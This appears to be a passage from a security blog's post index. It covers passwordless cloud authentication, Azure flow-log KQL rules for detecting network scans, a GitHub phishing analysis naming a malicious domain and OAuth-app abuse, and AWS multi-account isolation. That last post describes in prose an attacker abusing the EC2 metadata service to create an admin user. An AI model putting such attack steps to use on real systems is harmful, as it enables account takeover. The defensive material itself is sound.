The Cloud AP provider receives the encrypted PRT with session key. Using the device&rsquo;s private transport key, the Cloud AP provider decrypt the session key and protects the session key using the device&rsquo;s TPM. E The Cloud AP provider returns a successful authentication response to LSASS. LSASS caches the PRT, and informs Winlogon of the success authentication. Winlogon creates a logon session, loads the user&rsquo;s profile, and starts explorer.exe. Authenticate to AWS To allow centralized identity management and avoid having to manage multiple identities and passwords, most organizations want to use single sign-on for platform resources. Some AWS customers rely on server-based Microsoft Active Directory for SSO integration. Other customers invest in third-party solutions to synchronize or federate their identities and provide SSO.\nMicrosoft Entra ID provides centralized identity management with strong SSO authentication. Almost any app or platform that follows common web authentication standards, including AWS, can use Microsoft Entra ID for identity and access management.\nMany organizations already use Microsoft Entra ID to assign and protect Microsoft 365 or hybrid cloud identities. Employees use their Microsoft Entra identities to access email, files, instant messaging, cloud applications, and on-premises resources. You can quickly and easily integrate Microsoft Entra ID with your AWS accounts to let administrators and developers sign in to your AWS environments with their existing identities.\nThe following diagram shows how Microsoft Entra ID can integrate with multiple AWS accounts to provide centralized identity and access management:\nMicrosoft Entra ID offers several capabilities for direct integration with AWS:\nSSO across legacy, traditional, and modern authentication solutions. MFA, including integration with several third-party solutions from Microsoft Intelligent Security Association (MISA) partners. Powerful Conditional Access features for strong authentication and strict governance. Microsoft Entra ID uses Conditional Access policies and risk-based assessments to authenticate and authorize user access to the AWS Management Console and AWS resources. Large-scale threat detection and automated response. Microsoft Entra ID processes over 30 billion authentication requests per day, along with trillions of signals about threats worldwide. Privileged Access Management (PAM) to enable Just-In-Time (JIT) provisioning to specific resources. We also have the capability for AWS Single-Account Access with Microsoft Entra ID. You can configure multiple identifiers for multiple instances. AWS Single-Account Access has been used by customers over the past several years and enables you to federate Microsoft Entra ID to a single AWS account and use Microsoft Entra ID to manage access to AWS IAM roles. AWS IAM administrators define roles and policies in each AWS account. For each AWS account, Microsoft Entra administrators federate to AWS IAM, assign users or groups to the account, and configure Microsoft Entra ID to send assertions that authorize role access.\nWorkload Identity Federation We will discuss a great project by Puma Security called Nymeria, which is a workshop with ready-made files where you can learn and test machine-to-machine communication using Federation, all while avoiding long-term credentials.\nNymeria&rsquo;s goal is to help cloud identity and security teams to eliminate long-lived credentials from their cloud estate. The hands on workshop walks you through the following scenario:\nA GitHub Action needs to authenticate to an Entra ID Tenant to run a Terraform deployment.\nThe Terraform deployment creates an Azure virtual machine that requires data stored in both AWS S3 and Google Cloud Storage (GCS).\nWith the help of OIDC and SAML, we can authenticate workloads without the need for passwords or access keys. Workload Identity Federation is a cloud-native feature that allows authentication to public cloud APIs, helping us avoid the management of long-lived credentials and the associated complexities of securing them.\nOne important note to mention: Azure and GCP are OAuth-based and natively support OIDC, which means you can easily achieve workload identity federation. In contrast, AWS uses SigV2 and SigV4, with SigV4 support available in GCP but not in Azure. Azure does not support the AWS SigV4 exchange process like Google Cloud does. This means that you can authenticate AWS resources to access GCP without any issues, but you can&rsquo;t authenticate AWS resources to access Azure. On the other hand, AWS supports OIDC, allowing you to authenticate Azure, GCP, or other services like GitLab to access AWS resources, such as S3.\nYou can also create Kubernetes Workload Identity Federation for cross-cluster identity federation trust between Kubernetes service accounts running in AWS EKS, Azure AKS, and Google GKE. This federation trust allows a Kubernetes service account in any of the three clusters to access data stored across all three cloud storage services (S3, Azure Storage, and Google Cloud Storage).\nConclusion As you can see, we can easily achieve passwordless, seamless authentication for both humans and workloads. To do this, we need a centralized identity provider with strong authentication methods like FIDO for users and OIDC for workload authentication. In this setup, we no longer have to worry about credential rotations, password sprawl, or secret management. If you&rsquo;re not yet using FIDO2 and Workload Identity, now is the time to start.\nReferences What is OAuth and OpenID Connect? Cross cloud workload identity research and workshops SEC02-BP04 Rely on a centralized identity provider Supported configurations for using passkeys and security keys Available MFA types for IAM Identity Center Microsoft Entra identity management and access management for AWS Microsoft Entra SSO integration with AWS Single-Account Access Windows Hello for Business authentication ","permalink":"https:\/\/giomke.github.io\/posts\/authn\/","summary":"<h1 id=\"introduction\">Introduction<\/h1>\n<p>I\u2019ve noticed that many people in our field, even in 2025, still authenticate themselves and machines using old-fashioned way, such as passwords or long-term credentials. This short blog post takes elements from various resources to emphasize the importance of short-lived credentials for both humans and machines. The main focus of this blog is to promote the use of FIDO for user authentication and OIDC for machine authentication to avoid relying on long-term credentials.<\/p>","title":"Authentication in the Cloud"},{"content":"Introduction In today\u2019s dynamic cloud environments, detecting and mitigating network scans is crucial for ensuring the security and health of your infrastructure. Azure provides robust tools like VNet Flow Logs, Log Analytics, and custom KQL (Kusto Query Language) rules that can help you detect and respond to both horizontal and vertical network scans. In this post, we will dive into how you can leverage these tools to build effective detection mechanisms for network scans in Azure. We will cover key concepts like VNet flow logs, network architecture best practices, and provide step-by-step guidance on creating custom KQL queries to identify scanning activities in your environment. Whether you\u2019re an Azure security enthusiast or a network administrator, this guide will empower you to enhance your cloud network monitoring..\nVNet flow logs Virtual network flow logs became generally available 9 months ago. With the help of VNet flow logging, we can now generate NetFlow\/IPFIX-style logs. Virtual network flow logs enable the detection of security vulnerabilities and assist in threat-hunting investigations by providing a complete trail of user and application activity. Previously, network security group (NSG) flow logs were used, but they were cumbersome. On September 30, 2027, NSG flow logs will be retired. As part of this retirement, you will no longer be able to create new NSG flow logs starting June 30, 2025.\nUsing Virtual Network Flow Logs to monitor traffic is a game-changer for network security and performance management. These tools provide invaluable insights into traffic behavior, enabling you to identify patterns and deviations that could indicate potential security compromises. By leveraging these capabilities, you can proactively address threats before they escalate, ensuring your network remains secure.\nNetwork Architecture Before we dive into the subject, I want to first discuss Hub and Spoke networks to clarify our journey. If this topology is already familiar to you, feel free to skip this section.\nA hub is a central network zone that controls and inspects ingress and egress traffic between zones: the internet, on-premises, and spokes. The hub-and-spoke topology provides your IT department with an effective way to enforce security policies in a central location. It also reduces the potential for misconfiguration and exposure.\nAs shown in the diagram, Azure supports two types of hub-and-spoke designs:\nThe first type supports communication, shared resources, and centralized security policies. This is labeled as the VNet hub in the diagram. The second type is based on Azure Virtual WAN and is labeled as Virtual WAN in the diagram. This type is designed for large-scale branch-to-branch and branch-to-Azure communications. be careful interconnecting between spokes A typical example of this scenario is the case where application processing servers are in one spoke or virtual network. The database deploys in a different spoke or virtual network. In this case, it&rsquo;s easy to interconnect the spokes with virtual network peering and avoid transiting through the hub. Do a careful architecture and security review to ensure that bypassing the hub doesn&rsquo;t bypass important security or auditing points that are only in the hub.\nThe benefits of using a hub and spoke configuration include The benefits of using a hub and spoke configuration include:\nCost savings Overcoming subscription limits Workload isolation For more information, see Hub-and-spoke network topology. When you peer virtual networks in different subscriptions, you can associate the subscriptions to the same or different Microsoft Entra tenants. This flexibility allows for decentralized management of each workload while maintaining shared services in the hub.\nPotential use cases Typical uses for a hub and spoke architecture include workloads that:\nHave several environments that require shared services. For example, a workload might have development, testing, and production environments. Shared services might include DNS IDs, Network Time Protocol (NTP), or Active Directory Domain Services (AD DS). Shared services are placed in the hub virtual network, and each environment deploys to a different spoke to maintain isolation. Don&rsquo;t require connectivity to each other, but require access to shared services. Require central control over security, like a perimeter network (also known as DMZ) firewall in the hub with segregated workload management in each spoke. Require central control over connectivity, such as selective connectivity or isolation between spokes of certain environments or workloads. Recommendations As a general rule, it&rsquo;s best to have at least one hub per region. This configuration helps avoid a single point of failure, for example to avoid Region A resources being affected at the network level by an outage in Region B.\nGatewaySubnet The virtual network gateway requires GatewaySubnet. You can also use a hub-spoke topology without a gateway if you don&rsquo;t need cross-premises network connectivity. Create a subnet named GatewaySubnet with an address range of at least \/27. The \/27 address range gives the subnet enough scalability configuration options to prevent reaching the gateway size limitations in the future.\nAzureFirewallSubnet Create a subnet named AzureFirewallSubnet with an address range of at least \/26. Regardless of scale, the \/26 address range is the recommended size and covers any future size limitations. This subnet doesn&rsquo;t support network security groups (NSGs).\nCommunication through an NVA Communication via an NVA like a firewall and router. This method incurs a hop between the two spokes. If you need connectivity between spokes, consider deploying Azure Firewall or another NVA in the hub. Then create routes to forward traffic from a spoke to the firewall or NVA, which can then route to the second spoke. In this scenario, you must configure the peering connections to allow forwarded traffic.\nEvaluate the services you share in the hub to ensure that the hub scales for a larger number of spokes. For instance, if your hub provides firewall services, consider your firewall solution&rsquo;s bandwidth limits when you add multiple spokes. You can move some of these shared services to a second level of hubs. The number of virtual network peerings per virtual network is limited. If you have many spokes that need to connect with each other, you could run out of peering connections. Connected groups also have limitations. In this scenario, consider using user-defined routes (UDRs) to force spoke traffic to be sent to Azure Firewall or another NVA that acts as a router at the hub. This change allows the spokes to connect to each other. To support this configuration, you must implement Azure Firewall with forced tunnel configuration enabled. The topology in this architectural design facilitates egress flows. While Azure Firewall is primarily for egress security, it can also be an ingress point, but not recommended.\nTo configure spokes to communicate with remote networks through a hub gateway, you can use virtual network peerings or connected network groups.\nTo use virtual network peerings, in the virtual network Peering setup:\nConfigure the peering connection in the hub to Allow gateway transit. Configure the peering connection in each spoke to Use the remote virtual network&rsquo;s gateway. Configure all peering connections to Allow forwarded traffic. To use connected network groups:\nIn Virtual Network Manager, create a network group and add member virtual networks. Create a hub and spoke connectivity configuration. For the Spoke network groups, select Hub as gateway. Next steps The hub in a hub-spoke network topology is the main component of a connectivity subscription in an Azure landing zone. For more information about building large-scale networks in Azure with routing and security managed by the customer or by Microsoft, see Define an Azure network topology.\nEnable vnet flow logging Virtual network flow logging is a feature of Azure Network Watcher that allows you to log information about IP traffic flowing through an Azure virtual network.\nRegister Insights provider Microsoft.Insights provider must be registered to successfully log traffic flowing through a virtual network. If you aren&rsquo;t sure if the Microsoft. Insights provider is registered, check its status in the Azure portal by following these steps:\nIn the search box at the top of the portal, enter subscriptions. Select Subscriptions from the search results. Select the Azure subscription that you want to enable the provider for in Subscriptions.\nUnder Settings, select Resource providers.\nEnter insight in the filter box.\nConfirm the status of the provider displayed is Registered. If the status is NotRegistered, select the Microsoft.Insights provider then select Register.\nCreate a flow log Create a flow log for your virtual network, subnet, or network interface. This flow log is saved in an Azure storage account.\nIn the search box at the top of the portal, enter network watcher. Select Network Watcher from the search results.\nUnder Logs, select Flow logs.\nIn Network Watcher | Flow logs, select + Create or Create flow log blue button.\nOn the Basics tab of Create a flow log, enter or select the following values: Setting Value Project details Subscription Select the Azure subscription of your virtual network that you want to log. Flow log type Select Virtual network then select + Select target resource (available options are: Virtual network, Subnet, and Network interface).\nSelect the resources that you want to flow log, then select Confirm selection. Flow Log Name Enter a name for the flow log or leave the default name. Azure portal uses {ResourceName}-{ResourceGroupName}-flowlog as a default name for the flow log. Instance details Subscription Select the Azure subscription of the storage account. Storage accounts Select the storage account that you want to save the flow logs to. If you want to create a new storage account, select Create a new storage account. Retention (days) Enter a retention time for the logs (this option is only available with Standard general-purpose v2 storage accounts). Enter 0 if you want to retain the flow logs data in the storage account forever (until you manually delete it from the storage account). For information about pricing, see Azure Storage pricing. If the storage account is in a different subscription, the resource that you&rsquo;re logging (virtual network, subnet, or network interface) and the storage account must be associated with the same Microsoft Entra tenant. The account you use for each subscription must have the necessary permissions.\nTo enable traffic analytics, select Next: Analytics button, or select the Analytics tab. Enter or select the following values: Setting Value Enable traffic analytics Select the checkbox to enable traffic analytics for your flow log. Traffic analytics processing interval Select the processing interval that you prefer, available options are: Every 1 hour and Every 10 mins. The default processing interval is every one hour. For more information, see Traffic analytics. Subscription Select the Azure subscription of your Log Analytics workspace. Log Analytics Workspace Select your Log Analytics workspace. By default, Azure portal creates DefaultWorkspace-{SubscriptionID}-{Region} Log Analytics workspace in defaultresourcegroup-{Region} resource group. To create and select a Log Analytics workspace other than the default one, see Create a Log Analytics workspace\nSelect Review + create. Review the settings, and then select Create. Enable traffic analytics Enable traffic analytics for a flow log to analyze the flow log data. Traffic analytics provides insights into the traffic patterns of your virtual network. You can enable or disable traffic analytics for a flow log at any time.\nTo enable traffic analytics for a flow log, follow these steps:\nIn the search box at the top of the portal, enter network watcher. Select Network Watcher from the search results. Under Logs, select Flow logs. In Network Watcher | Flow logs, select the flow log that you want to enable traffic analytics for. In Flow logs settings, under Traffic analytics, check the Enable traffic analytics checkbox. Enter or select the following values: Setting Value Subscription Select the Azure subscription of your Log Analytics workspace. Log Analytics workspace Select your Log Analytics workspace. By default, Azure portal creates DefaultWorkspace-{SubscriptionID}-{Region} Log Analytics workspace in defaultresourcegroup-{Region} resource group. Traffic logging interval Select the processing interval that you prefer, available options are: Every 1 hour and Every 10 mins. The default processing interval is every one hour. For more information, see Traffic analytics. Select Save to apply the changes. List all flow logs You can list all flow logs in a subscription or a group of subscriptions. You can also list all flow logs in a region.\nIn the search box at the top of the portal, enter network watcher. Select Network Watcher from the search results. Under Logs, select Flow logs. Select Subscription equals filter to choose one or more of your subscriptions. You can apply other filters like Location equals to list all the flow logs in a region. Using virtual network flow logs To demonstrate some of the scenarios described above, Azure environment comprising a hub and spoke topology is used, with the hub containing a Firewall, Bastion, DNS Private Resolver, and connectivity to on-premises via ExpressRoute gateway. Spoke1 has a sample application deployed on virtual machines with load balancers fronting each tier, and a private endpoint connected to an SQL Database for the DB tier. Spoke2 has sample workloads to test spoke-to-spoke traffic. Network Watcher virtual network flow logs and Traffic Analytics have been enabled on Hub virtual network.\nVirtual network flow logs allow optimization of log volume and simplification of management by enabling them at hub virtual network. All traffic flowing through the hub, including spoke-to-spoke traffic is recorded on the hub virtual network. In the topology of demo environment, traffic between the spokes is routed via hub firewall. The example query below aggregates throughput between internal IP addresses for specified ranges. An endpoint on Spoke2 (10.1.2.20) can be seen accessing another API endpoint on Spoke1(10.1.1.21) on port 8080, connecting to Web endpoint on Spoke1(10.1.1.4) via SSH and establishing DNS connectivity with Hub(10.1.0.8) on port 53.\nKQL query examples Before I show you the KQL query for detecting horizontal and vertical scans, I want to share some KQL query examples from different blog posts that might be interesting to you.\ntraffic to\/from a virtual machine imagine you want to see with which IP addresses a given virtual machine has been talking to in the last few days\nNTANetAnalytics | where TimeGenerated &gt; ago(60d) | where SrcIp == &#34;10.1.1.8&#34; and strlen(DestIp)&gt;0 | summarize TotalBytes=sum(BytesDestToSrc+BytesSrcToDest) by SrcIp, DestIp What if we want to enrich this information with the NTAIpDetails table to get the geolocation of the public IP addresses? Let&rsquo;s have a look:\nNTANetAnalytics | where TimeGenerated &gt; ago(60d) | where SrcIp == &#34;10.1.1.8&#34; and strlen(DestIp)&gt;0 | join kind = leftouter (NTAIpDetails) on $left.DestIp == $right.Ip | summarize TotalBytes=sum(BytesDestToSrc+BytesSrcToDest) by SrcIp, DestIp, PublicIpDetails, Location packet host inc. looks suspicious, so now you might be interested in getting a time distribution on the protocols that have been going on there. We can see here that there have been two big data transfers of around 1GB in two different days, the last one on 23rd April.\nNTANetAnalytics | where TimeGenerated &gt; ago(60d) | where SrcIp == &#34;10.1.1.8&#34; and DestIp == &#34;136.144.58.113&#34; | join kind = leftouter (NTAIpDetails) on $left.DestIp == $right.Ip | extend App = strcat(L4Protocol,tostring(DestPort)) | summarize TotalBytes=sum(BytesDestToSrc+BytesSrcToDest) by App, bin(TimeGenerated, 1d) | render columnchart Top10 VMs based on the total data transferred The query below is an example of a KQL query to find the Top10 VMs based on the total data transferred in the last 3 days. Note that the TotalBytes matches with the example above where the IP 10.10.0.5 had transferred 55GB to the 10.10.0.4 and another 55GB to the 10.10.0.132.\nNTANetAnalytics | where TimeGenerated &gt; ago(3d) | summarize TotalBytes=sum(BytesDestToSrc + BytesSrcToDest) by SrcVm | top 10 by TotalBytes | render columnchart Detecting Network scans In this section, I want to present a very simple yet powerful KQL rule that I developed to detect horizontal and vertical scans.\nIn the post-exploitation phase of a attack, network scanning becomes an essential activity for attackers as they move laterally within a compromised network, aiming to discover additional vulnerable systems, escalate privileges, or deepen their control. Unlike the pre-exploitation phase, where the primary focus is on finding entry points, post-exploitation scans often involve more subtle, targeted actions. Attackers may engage in both horizontal and vertical scans to gather more information about the internal network and its vulnerabilities after breaching the initial system. Detecting network scanning during the post-exploitation phase is critically important because it can provide early warning signs of lateral movement and further compromise of systems. If attackers can be identified while scanning internal networks, they may be blocked before they can expand their reach or exfiltrate data. Signs of post-exploitation scans can include unexpected connections to multiple hosts, scanning activity on unused ports, and patterns indicating attempts to enumerate network shares, credentials, or service vulnerabilities. Monitoring tools, such as Intrusion Detection Systems (IDS), Security Information and Event Management (SIEM) solutions, and network traffic analysis, are key to identifying these scans. If detected early, defenders can isolate the attacker\u2019s movement, close vulnerabilities, and mitigate damage, preventing a more widespread breach. Therefore, timely detection and response to scanning in the post-exploitation period are essential for containing attacks and minimizing the impact.\nRule 1: Horizontal Scan Detection NTANetAnalytics | where TimeGenerated &gt; ago(24h) | where SubType == &#39;FlowLog&#39; | where ipv4_is_private(SrcIp) and ipv4_is_private(DestIp) | where L4Protocol in (&#39;TCP&#39;) | where toint(DestPort) &lt; 10000 | summarize unicDestIps = dcount(DestIp) by SrcIp, bin(FlowStartTime, 1m) | where unicDestIps &gt; 6 | sort by unicDestIps desc Purpose: This rule detects potential horizontal scans, where an attacker is scanning across multiple systems in a network. It focuses on identifying an unusually high number of unique destination IP addresses (which could represent different systems) being targeted from a single source IP. Explanation: TimeWindow: The query focuses on logs from the last 24 hours (TimeGenerated &gt; ago(24h)), which helps to narrow down scanning activity to a relevant time frame. SubType &lsquo;FlowLog&rsquo;: It filters for flow logs, typically representing network traffic data. Private IP Range: The condition ipv4_is_private(SrcIp) and ipv4_is_private(DestIp) ensures that only private IPs within the internal network are considered, helping to focus on internal scanning rather than public internet scanning. Protocol and Port Filtering: The filter L4Protocol in (&lsquo;TCP&rsquo;) ensures the rule only looks at TCP traffic, which is common in port scanning. DestPort &lt; 10000 limits the scope to lower numbered ports, which often contain critical or open services. Summarization: The summarize function calculates the count of unique destination IPs (unicDestIps) accessed by each source IP over 1-minute intervals. If a source IP connects to more than 6 unique destination IPs within that time window (unicDestIps &gt; 6), this is flagged as suspicious activity, potentially indicating a horizontal scan. What it Detects: This rule is looking for network traffic where a single source IP is connecting to multiple different devices or systems in a short amount of time, which could be indicative of an attacker scanning across the network to find accessible targets. Rule 2: Vertical Scan Detection NTANetAnalytics | where TimeGenerated &gt; ago(24h) | where SubType == &#39;FlowLog&#39; | where ipv4_is_private(SrcIp) and ipv4_is_private(DestIp) | where L4Protocol in (&#39;TCP&#39;) | where toint(DestPort) &lt; 10000 | summarize unicDestPort = dcount(DestPort) by SrcIp, DestIp, bin(FlowStartTime, 1m) | where unicDestPort &gt; 3 | sort by unicDestPort desc Purpose: This rule is designed to detect potential vertical scans, where an attacker is focusing on a specific system and probing multiple ports on that system to identify vulnerabilities. Explanation TimeWindow: As with the first rule, this one focuses on flow logs from the last 24 hours (TimeGenerated &gt; ago(24h)). SubType &lsquo;FlowLog&rsquo;: The query filters for flow logs, which contain network traffic data. Private IP Range: The rule restricts the analysis to private internal IPs (ipv4_is_private(SrcIp) and ipv4_is_private(DestIp)), ensuring that the scan activity is happening within the internal network. Protocol and Port Filtering: The rule examines only TCP traffic (L4Protocol in (&lsquo;TCP&rsquo;)) and focuses on lower numbered ports (DestPort &lt; 10000), again filtering for commonly used ports in network services. Summarization: Here, the summarize function counts how many unique destination ports (unicDestPort) a source IP accesses on a given destination IP over 1-minute intervals. If a source IP connects to more than 3 unique destination ports on a specific destination IP (unicDestPort &gt; 3), this is flagged as suspicious, which may indicate that the source IP is scanning multiple ports on a single system. What it Detects: This rule looks for behavior where an attacker is targeting a single system (specific DestIp) and probing multiple ports on that system. It can be indicative of vertical scanning, where an attacker is trying to exploit services running on various ports on a single device. In the post-exploitation phase, once an attacker has gained initial access, they often begin scanning the internal network to find more valuable systems, escalate privileges, or locate other points of entry. These two KQL rules help detect:\nHorizontal Scans: If an attacker is scanning across a range of systems (e.g., looking for vulnerable systems), the first rule can catch this behavior by detecting a source IP connecting to multiple different devices within a short time window. Vertical Scans: If an attacker is focusing on a single system and probing various ports to identify exploitable services (e.g., trying to find an open service to exploit), the second rule helps detect that activity by identifying a source IP scanning multiple ports on a single device. By detecting these scans early in the post-exploitation phase, defenders can identify lateral movement or potential escalation attempts before the attacker can cause significant harm, such as data exfiltration or further system compromise.\nCreate alert rule In this section, you will learn how to create a log search alert for an Azure resource. Once you verify your query, you can create the alert rule. Select New alert rule to create a new alert rule based on the current log query. The Scope is already set to the current resource. You don&rsquo;t need to change this value.\nConfigure condition On the Condition tab, the Log query is already filled in. The Measurement section defines how the records from the log query are measured. If the query doesn&rsquo;t perform a summary, then the only option is to Count the number of Table rows. If the query includes one or more summarized columns, then you have the option to use the number of Table rows or a calculation based on any of the summarized columns. Aggregation granularity defines the time interval over which the collected values are aggregated. For example, if the aggregation granularity is set to 5 minutes, the alert rule evaluates the data aggregated over the last 5 minutes. If the aggregation granularity is set to 15 minutes, the alert rule evaluates the data aggregated over the last 15 minutes. It is important to choose the right aggregation granularity for your alert rule, as it can affect the accuracy of the alert.\nThe combined size of all data in the log alert rule properties cannot exceed 64KB. This can be caused by too many dimensions, the query being too large, too many action groups, or a long description. When creating a large alert rule, remember to optimize these areas.\nConfigure dimensions Split by dimensions allows you to create separate alerts for different resources. This setting is useful when you&rsquo;re creating an alert rule that applies to multiple resources. With the scope set to a single resource, this setting typically isn&rsquo;t used.\nIf you need certain dimensions included in the alert notification email, you can specify a dimension (for example, &ldquo;Computer&rdquo;), the alert notification email will include the computer name that triggered the alert. The alerting engine uses the alert query to determine the available dimensions. If you do not see the dimension you want in the drop-down list for the &ldquo;Dimension name&rdquo;, it is because the alert query does not expose that column in the results. You can easily add the dimensions you want by adding a Project line to your query that includes the columns you want to use. You can also use the Summarize line to add more columns to the query results.\nConfigure alert logic In the alert logic, configure the Operator and Threshold value to compare to the value returned from the measurement. An alert is created when this value is true. Select a value for Frequency of evaluation which defines how often the log query is run and evaluated. The cost for the alert rule increases with a lower frequency. When you select a frequency, the estimated monthly cost is displayed in addition to a preview of the query results over a time period.\nFor example, if the measurement is Table rows, the alert logic may be Greater than 0 indicating that at least one record was returned. If the measurement is a columns value, then the logic may need to be greater than or less than a particular threshold value. In the following example, the log query is looking for anonymous requests to a storage account. If an anonymous request is made, then we should trigger an alert. In this case, a single row returned would trigger the alert, so the alert logic should be Greater than 0.\nConfigure actions Action groups define a set of actions to take when an alert is fired such as sending an email or an SMS message.\nTo configure actions, select the Actions tab.\nClick Select action groups to add one to the alert rule.\nIf you don&rsquo;t already have an action group in your subscription to select, then click Create action group to create a new one.\nSelect a Subscription and Resource group for the action group and give it an Action group name that will appear in the portal and a Display name that will appear in email and SMS notifications.\nSelect the Notifications tab and add one or more methods to notify appropriate people when the alert is fired.\nConfigure details Select the Details tab and configure different settings for the alert rule.\nAlert rule name which should be descriptive since it will be displayed when the alert is fired. Optionally provide an Alert rule description that&rsquo;s included in the details of the alert. Subscription and Resource group where the alert rule will be stored. This doesn&rsquo;t need to be in the same resource group as the resource that you&rsquo;re monitoring. Severity for the alert. The severity allows you to group alerts with a similar relative importance. A severity of Error is appropriate for an unresponsive virtual machine. Under Advanced options, keep the box checked to Enable upon creation. Under Advanced options, keep the box checked to Automatically resolve alerts. This will make the alert stateful, which means that the alert is resolved when the condition isn&rsquo;t met anymore. Click Create alert rule to create the alert rule.\nView the alert When an alert fires, it sends any notifications in its action groups. You can also view the alert in the Azure portal.\nSelect Alerts from the resource&rsquo;s menu. If there are any open alerts for the resources, they are included in the view.\nClick on a severity to show the alerts with that severity. Select the User response and unselect Closed to view only open alerts.\nClick on the name of an alert to view its detail.\nConclusion Detecting network scans\u2014whether horizontal or vertical\u2014is a fundamental aspect of securing your Azure environment. By leveraging Azure\u2019s powerful features like VNet Flow Logs, Log Analytics, and custom KQL rules, you can proactively monitor network traffic and quickly identify potential security threats. Throughout this post, we\u2019ve outlined the essential steps to configure flow logs, create and refine KQL queries, and set up alerting mechanisms to keep your environment secure. By implementing these recommendations, you&rsquo;ll be better prepared to protect your Azure resources and ensure the ongoing health and security of your cloud infrastructure. Start applying these insights today to detect and respond to suspicious network behavior faster and more effectively..\nReferences Tutorial: Create a log search alert for an Azure resource Create, change, enable, disable, or delete virtual network flow logs using the Azure portal Hub-and-spoke network topology Hub-spoke network topology in Azure Azure Network Security Ninja Training Network traffic observability with virtual network flow logs Virtual Network Flow Logs Recipes Monitoring traffic flows in Azure Firewall using Virtual Network Flow Logs Virtual Network Flow Logs and Encryption Overview Microsoft Azure Monitor - Alert Processing Rules ","permalink":"https:\/\/giomke.github.io\/posts\/azure-nsm\/","summary":"<h2 id=\"introduction\">Introduction<\/h2>\n<p>In today\u2019s dynamic cloud environments, detecting and mitigating network scans is crucial for ensuring the security and health of your infrastructure. Azure provides robust tools like VNet Flow Logs, Log Analytics, and custom KQL (Kusto Query Language) rules that can help you detect and respond to both horizontal and vertical network scans. In this post, we will dive into how you can leverage these tools to build effective detection mechanisms for network scans in Azure. We will cover key concepts like VNet flow logs, network architecture best practices, and provide step-by-step guidance on creating custom KQL queries to identify scanning activities in your environment. Whether you\u2019re an Azure security enthusiast or a network administrator, this guide will empower you to enhance your cloud network monitoring..<\/p>","title":"Azure NSM"},{"content":"Introduction This morning, I received a phishing notification disguised as a GitHub alert. In this short blog post, I want to share the techniques the attackers used and explain why it can be difficult to recognize such phishing attempts.\nEmail In the image above, the first thing that caught my eye was the random name u7Fbclark, which made me stop before clicking the URL. Firstly, I checked the SPF and DKIM records to ensure that the email was coming from GitHub, and it was indeed from them. In the image below, you can see that both SPF and DKIM checks passed.\nThe context of the email seemed perfectly normal for the following reasons. First of all, I am subscribed to the smgorelik\/Windows-RCE-exploits repository, which is legitimate and familiar to me. Secondly, there are known vulnerabilities in the repository, making it normal for GitHub to trigger alerts. The main part of the email, the URL github-scanner[.]com, seems quite real. However, before clicking, I decided to check it.\nPlease, everyone, do not click on everything. Zero-day vulnerabilities are real, and you should be especially careful if you are a power user!\nURL Firstly, I decided to check the domain and performed a WHOIS query. After that, I was fairly certain it was phishing, as the domain information contained several red flags indicating it was a malicious URL. In the image below, you can see the creation time of the domain, which was very recent. This was a key indicator for me that it was a malicious domain. Additionally, the registrant country was Malaysia.\nI was curious about what the website looked like, so I used https:\/\/urlscan.io\/. The first page I encountered was a CAPTCHA. Advanced attackers cleverly use CAPTCHAs to evade detection by security tools and bypass mechanisms like mail security gateways.\nOf course, I finally checked on VirusTotal, and it was already flagged as malicious. During my analysis in the morning, there was much less detection coverage.\nThe kill chain I mentioned in the issue how I received the notification along with the adversary&rsquo;s comment. Unfortunately, the GitHub issue was removed, and I do not have a screenshot.\nAs I read, adversaries leverage OAuth app authorization to gain access to your GitHub account. The attacker attempts to gain privileges on your GitHub account by exploiting the OAuth mechanism, which allows external applications to access resources on behalf of the user. While this approach is useful for integrating external systems with applications, it can be quite dangerous if the external system is not trusted, as is the case here.\nConclusion It becomes offent of abousing github notications so be cautious and periodically review your authorized OAuth apps.\n","permalink":"https:\/\/giomke.github.io\/posts\/githubphishing\/","summary":"<h2 id=\"introduction\">Introduction<\/h2>\n<p>This morning, I received a phishing notification disguised as a GitHub alert. In this short blog post, I want to share the techniques the attackers used and explain why it can be difficult to recognize such phishing attempts.<\/p>\n<h2 id=\"email\">Email<\/h2>\n<p><img alt=\"image\" loading=\"lazy\" src=\"\/posts\/githubphishing\/images\/email.png\"><\/p>\n<p>In the image above, the first thing that caught my eye was the random name <strong>u7Fbclark<\/strong>, which made me stop before clicking the URL. Firstly, I checked the SPF and DKIM records to ensure that the email was coming from GitHub, and it was indeed from them.\nIn the image below, you can see that both SPF and DKIM checks passed.<\/p>","title":"Abuse GitHub notifications for phishing"},{"content":"AWS security baseline architecture Introduction Hi there in this blog post, we will talk about AWS cloud security architecture from a thousand-foot View. This blog post is meant for absolute beginners in the cloud security journey. We will discuss how we can achieve perfect isolation of resources and collaboration with each other by following best practices and recommended guides.\nAWS offers numerous security-related resources, including posts, whitepapers, and guides, as well as two major frameworks: the Cloud Adoption Framework (CAF) and the Well-Architected Framework. However, the abundance of information can make AWS security seem complex and confusing for beginners like myself, and possibly like you. It&rsquo;s likely that AWS developed the AWS Security Reference Architecture (AWS SRA) in response to this confusion. As its name suggests, the SRA organizes best practices, whitepapers, and guidelines into a cohesive framework, making them easier to follow and implement. According to Amazon, the SRA provides a holistic set of guidelines for deploying AWS security services in a multi-account environment. Before diving into the details of the SRA, let&rsquo;s first understand why a multi-account strategy is necessary and why prioritizing security services matters.\nMulti-account strategy the best way to achieve isolation Frankly speaking, you can achieve your goals with one AWS account but the question arises why do we need multiple accounts, and why does even AWS recommend us to follow a multi-account strategy? It has a couple of answers but let&rsquo;s talk from a security perspective. As security professionals, we prioritize isolating resources for security reasons. It&rsquo;s likely you&rsquo;ve already grasped the concept that the most effective way to isolate AWS resources and minimize the &lsquo;blast radius&rsquo; is by leveraging multiple accounts.\nFor example, let&rsquo;s consider a scenario where we have two accounts: one for development resources and another for production resources, instead of having just one account. In the event of an incident, suppose an EC2 machine is compromised in the DEV account due to weaker security measures compared to the PROD account. In the worst-case scenario, the attacker abuse the AWS metadata service located at 169.254.169.254. Leveraging the permissions set to the compromised EC2 instance, the attacker manages to create a new user in AWS IAM and assigns the admin role to this user. They then log out from the compromised EC2 instance and log in to the AWS console as an admin with full permissions.\nHowever, with a multi-account strategy in place, the attacker still wouldn&rsquo;t have access to the PROD account, where our most critical assets are stored. This underscores the importance of account-level isolation because even in the event of a full compromise, the adversary would still not have access to other accounts, theoretically. It&rsquo;s important to note that the effectiveness of this strategy depends on how the environment is configured, but as of now, it stands as the optimal choice for isolating resources. To simplify, remember that each AWS account acts as a distinct repository for AWS resources and serves no other purpose.\nOrganizing multiple accounts and managing them efficiently was indeed a challenging task until the introduction of the AWS Organizations service. This service, which is free to use, has streamlined the process of managing multiple AWS accounts effectively. In the next section, we&rsquo;ll delve deeper into the features and benefits of AWS 